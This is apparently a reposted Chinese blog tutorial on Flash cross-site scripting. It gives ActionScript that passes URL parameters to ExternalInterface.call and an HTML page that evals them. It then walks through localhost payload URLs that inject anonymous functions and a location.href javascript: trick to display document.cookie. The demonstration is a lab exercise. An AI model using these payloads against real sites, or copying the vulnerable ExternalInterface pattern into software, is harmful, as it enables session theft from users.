Flash XSS

示例:

创建一个测试flash,代码如下,导出swf文件

//取m参数

var m=_root.m;

//取showInfo参数

var showInfo=_root.showInfo;

//调用html中Javascript中的m方法,参数为showInfo

flash.external.ExternalInterface.call(m,showInfo);

 ExternalInterface

在HTML中引用flash:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<title>Flash XSS</title>

</head>

<script>

function showInfo(info){

    eval(info)

}

</script>

<body>

<embed src="test.swf?m=showInfo&showInfo=alert(document.cookie)" allowscriptaccess="always"></embed>

<div id=info></div>

</body>

</html>

成功执行执行攻击代码,弹出cookie。

上面演示的执行,其实还可以直接执行反射XSS。

由于Javascript中可以使用匿名函数function(){代码}进行执行。

如:

http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(/xss/)}&showInfo=s

 

成功弹出,试试弹出cookie。

http://localhost:8080/JavaTest/xss/test.swf?m=function(){alert(document.cookie)}&showInfo=s

没有弹出任何东西,因为这里没有document对象,这里我们利用location.href来生成HTML代码

http://localhost:8080/JavaTest/xss/test.swf?m=function(){location.href="javascript:'<script>alert(document.cookie)</script>'"}&showInfo=s

将攻击代码输入到HTML中了。

成功执行了弹出cookie。

 

猜你喜欢

转载自www.cnblogs.com/vege/p/12984642.html
xss